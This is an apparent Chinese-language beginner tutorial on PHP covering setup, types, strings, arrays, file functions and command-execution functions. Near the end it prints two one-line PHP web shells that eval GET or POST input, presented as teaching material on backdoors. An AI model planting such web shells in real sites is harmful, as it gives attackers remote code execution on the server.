写在前面
本文主要为后端开发做个引子,对常见的或者常用的知识做个简介,包括PHP、MySQL等一些入门级知识。
注:补充知识放在文末
PHP
定义与概念
- PHP是嵌入HTML页面中的脚本语言
- 是目前最流行的网站开发语言
- 在几乎所有的平台中都可以运行
- 很多的企业都在使用PHP作为开发语言
Windows10 Sublime配置
Sublime官网
这里选择windows版下载安装。
步骤如下:
- 打开Sublime编辑器,输入如下代码:
1
2
3
4
5{
"cmd": ["php", "$file"],
"file_regex": "php$",
"selector": "source.php"
}
一般保存至默认路径即可,如若默认路径有变,则手动选择如下路径:C:\User(用户)\{YourName}\AppData\Roaming\Sublime Text3\Packages\User\
- 添加PHP环境变量:
在phpStudy安装目录中,找到php目录下你想使用的对应php版本,比如这里我选择php-7.0.12-nts。
进入文件夹,复制路径。
打开系统环境变量添加所复制的路径,这里我使用如下方法:
右击计算机–>属性–>高级系统设置–>环境变量–>系统变量
找到变量Path,编辑并新建值,复制php路径,确认并退出。
在Sublime编辑器选项卡中依次打开:
Tools-->Build System-->php
这里会出现php选项,是由于第一步文件的配置以及第二步环境变量配置均无误,否则将不会出现这个选项。配置完成
快捷键:Ctrl + b即可输出显示php被解释后的运行结果。
基础规范
- PHP脚本以
<?php开始,以?>结束为规范写法。若为最后一行,可以省略?>- PHP 脚本可以单独存在,也可以与html页面结合
- php文件扩展名规范,一般是
.php结尾。但是,也可以使用其他命名,如.phtml等,具体是定义在配置文件中的。
数据类型
布尔类型
(bool)
整型(int)
浮点型(float)
字符串(string)
资源(resource)
空类型(NULL)
数组(array)
对象(class)
一般可使用var_dump()来查看类型
变量与常量
常量:
一旦赋值不会改变,且应尽量使用大写。
常量分为系统常量和自定义常量。
系统常量可以理解为值不会有改变的量
定义常量
使用PHP中的函数
define()定义自定义常量
常量在使用时,不需要$符号
常用定义:Define('ROOT','localhost');
常用系统常量:
__FILE__:php程序文件名/绝对路径__DIR__:被调用的文件脚本所在目录__FUNCTION__:函数名__LINE__:PHP程序文件行数PHP_VERSION:当前解析器的版本号PHP_OS:执行当前PHP版本的操作系统名称
变量:
变量以
$符开始,后面跟着变量名称
变量必须以字母或下划线字符开始、只能包含字母数字字符以及下划线(A-z、0-9和_)
变量名不能包含空格,且区分大小写。
输入输出
输出:echo、print、printf、sprintf、print_r、die、var_dump
输入:
cli命令行模式接收参数:三种方式
使用argv数组、使用getopt方法、提示用户输入
argv:1
2
3
4
5
6
7
8<?php
/**
* 使用 $argc $argv 接受参数
*/
echo "接收到{$argc}个参数";
print_r($argv);
?>
getopt:1
2
3
4
5
6
7
8<?php
/**
* 使用 getopt函数
*/
$param_arr = getopt('a:b:');
print_r($param_arr);
?>
提示用户输入:1
2
3
4
5
6
7<?php
/**
* 提示用户输入,类似Python
*/
fwrite(STDOUT,'请输入您的博客名:');
echo '您输入的信息是:'.fgets(STDIN);
?>
php的单双引号都能输出字符串,双引号中内部变量会解析,但在单引号中不会。
EOF
PHP EOF(heredoc)是一种在命令行shell(如sh、csh、ksh、bash、PowerShell和zsh)和程序语言(像Perl、PHP、Python和Ruby)里定义一个字串的方法。
使用概述:
- 必须后接分号,否则编译不通过
- EOF可以用任意其它字符代替,只需保证结束标识与开始标识一致
- 结束标识必须顶格独自占一行,前后不能衔接任何空白字符
- 开始标识可以不单引号或双引号,不带引号与带双引号效果一致,均解释内嵌的变量和转义符号,但带单引号则不解释。
- 当内容需要内嵌引号(单、双引号)时,不需要加转义符,本身对单双引号转义。
运算符
比较运算符:
大于、小于、等于等运算,它们的结果都是bool值类型
逻辑运算符:
与或非运算
and或&& or或|| not或!
它们的结果都是bool值
字符串操作
常用字符串操作:
.拼接运算符addslashes()将预定义的字符(可能出现歧义的字符)添加反斜杠转义\bin2hex()将ASCII字符串转换为16进制chr()将指定的ASCII值转换成字符chop()移除字符串右侧字符,由自己指定,默认为空白字符strlen() mb_strlen()长度计算,区别:mb_strlen可以计算中文字符串长度crypt()对字符串单项加密,不可逆转,类似于做MD5值htmlentities()将字符串转换为html实体(可用于防御xss攻击)
例如:
1echo htmlentities("<script>alert(1)</script>");
implode()返回一个由数组元素组合成的字符串,与explode()作用相反md5()计算字符串的MD5值md5_file()计算文件的MD5值str_replace()替换字符串中的一部分(大小写敏感)str_ireplace()替换字符串中的一部分(大小写不敏感)str_split()把字符串分割到数组中,php4/5/7均支持,但无法按照指定的字符来做分割,split函数可以按照指定的字符来分割,与explode函数用法类似,split函数仅可在php4/5中使用,php7废除了此用法strcmp比较两个字符串(大小写敏感)在
UTF-8中,每个中文3字节
在GBK中,每个中文2字节
无论什么编码,英文每个字母占1字节
类型转换
强制转换:(数据类型)数据变量
1
(int)$var (string)$var (float)$var (bool)$var使用具体类型函数转换
1
intval() floatval() strval()使用通用类型转换函数
1
settype(mixed var, string type)
PHP是弱类型
1 | |
数组
定义
数组是特殊的变量,可以在单个变量中同时保存一个或一个以上的值,并可以同通过下标来访问其中某一个的值。用array()函数创建。同时PHP中数组可以存储任意类型的数据。1
$arr = array('I am', 'a', 'array');
PHP中数组可分为索引数组和关联数组,第三种叫多维数组
索引数组:是指数组的键是整数的数组,且键的整数顺序从
0开始
关联数组:是一种具有特殊索引方式的数组。不仅可以通过整数来索引它,还可以使用字符串或者其他类型的值(除了NULL)来索引它。
赋值方式:
- 数组变量名后加一个中括号的方式赋值。且键一定为整数。
$a[1] = 0 - 用
array()创建一个空数组,用=>分隔左侧键和右侧值。 - 用
array()创建一个空数组,直接在数组里用英文单引号或双引号赋值,数组会默认建立从0开始的整数的键
输出方式
常用:
直接使用键输出:
1
2
3
4
5<?php
$score = array("Math" => "数学");
$scoreMaths = $score["Maths"];
echo $scoreMaths;
?>使用foreach输出:
1
2
3
4
5
6
7
8
9
10
11
12
13<?php
$project = array(
"china" => "语文",
"Maths" => "数学",
"English" => "英语"
);
foreach ($project as $key => $value) {
echo "<br />";
echo $key."是".$value."。";
}
echo $project["Maths"];
?>
常用操作技巧
count()和sizeof()统计数组下标个数,获取数组长度each()返回当前元素键名和键值,并将内部指针向前移动list()用于在一次操作中给一组变量赋值sort()、asort()、ksort()正向排序rsort()、arsort()、krsort()反向排序array_count_values()统计数组下标值的个数current()每个数组都有一个内部指针指向他的当前单元,初始指向插入到数组中的第一个元素array_pad()数组之间首尾选择性追加unset()销毁指定的变量array_fill()用键值填充数组array_combine()同过合并两个数组来创建一个新数组,其中一个数组元素为键名,另一个为键值array_splice()从数组中移除元素,并用新元素取代它array_unique()删除数组中重复值array_flip()交换数组的键值和值array_search()搜索数值
函数参数
通过参数列表可以传递信息到函数(以逗号作为分隔符)的表达式列表。参数类似于一个变量,通过传递参数可以使函数实现对参数的运算。
参数可以是任意类型的数据,具体要根据函数功能来确定。
内置函数
常见:isset() 判断变量是否存在strlen() 计算字符串长度var_dump() 输出变量类型和具体内容(常用于调试)mysql_connect() 链接数据库function_exists() 判断函数是否存在
练习
编写一个函数,实现计算两个数大小比较,并返回最大值:1
2
3
4
5
6
7
8// return the max of the two
function maxofmine($a, $b) {
if($a < $b) {
return $b;
}else {
return $a;
}
}
编写一个函数,实现将两个数的值进行交换,无返回值:1
2
3
4// swap two variable's value
function swap(&$a, &$b) {
$tmp = $a; $a = $b; $b = $tmp;
}
用函数实现array_flip()1
2
3
4
5
6
7// function array_flip() implementation
function array_flip_mine($array) {
foreach ($array as $key => $value) {
$arraytmp[] = array($value => $key);
}
return $arraytmp;
}
文件操作
打开
fopen()方式打开文件
| 参数 | 含义 |
|---|---|
| ‘r’ | 只读方式打开,将文件指针指向文件头 |
| ‘r+’ | 读写方式打开,将文件指针指向文件头 |
| ‘w’ | 写入方式打开,将文件指针指向文件头并将文件大小截为零。若文件不存在则尝试创建 |
| ‘w+’ | 读写方式打开,将文件指针指向文件头并将文件大小截为零。若文件不存在则尝试创建 |
| ‘a’ | 写入方式打开,将文件指针指向文件末尾。若文件不存在则尝试创建 |
| ‘a+’ | 读写方式打开,将文件指针指向文件末尾。若文件不存在则尝试创建 |
读取
fread() 读取指定长度的字符串fgets() 读取文件一行内容,并将指针下移一行file_get_contents() 读取文件全部内容feof() 检测文件指针是否已到达文件末尾
写入
fwrite() 写入数据
关闭
fclose() 关闭文件
常用函数
filesize() 获取文件大小is_readable()和is_writeable() 判断文件在是否存在的基础上,是否可读或可写is_file和file_exists 判断指定路径是否存在某个文件
简单命令执行
PHP中执行PHP代码eval()、assert()
PHP中执行系统命令:system() 输出并返回最后一行shell结果exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面passthru() 只调用命令,把命令的运行结果原样直接输出至标准输出设备上
其他:popen()、shell_exec()、proc_open()、pcntl_exec()
一句话木马
PHP脚本版:1
<?php eval($_GET['a']);?>
Java脚本版(C🔪):1
<?php eval($_POST['a']);?>
补充知识
解释性语言与编译型语言
解释型语言
如:
PHP,Python,Shell
由上到下解释每一行
特点:每次使用,每次解释,且需要解释器
兼容性问题基本没有编译型语言
如:
C,C++,Java
需要编译才能执行(将文本文件test.c编译成二进制文件test.exe)
编译后生成二进制文件,让系统执行
特点:一次编译,多次使用;但跨平台性较弱,需要修改源码。
比如c语言有如下两个标准:c90+win编译标准c99+linux编译标准
他们不能通用
PHP与JSP
PHP适用于小型网站
JSP遵循java语法,且用于大型网站
中型网站两者混用
字符转义
例子:
使用php输出that’s ok
- 使用双引号中插入单引号
- 使用单引号,但时加上转义字符
\
PHP中布尔类型特点
只要“错”就是“空”,但是一旦被赋为某种类型,就与“空”没有关系了
常见网站搭建套路(铁三角)
apache/nginx + php + mysql开源(php)全家桶tomcat + jsp + oracle其中java,oracle不开源iis + asp + mssql/access微软全家桶,贵,功能少,质量差(常见于建站早,更换搭建方式代价极高的网站)
防御
以规则对抗规则,即防御规则对抗攻击规则
写100条防御语句,找出一条没被防御到的语句
fuzz:模糊规则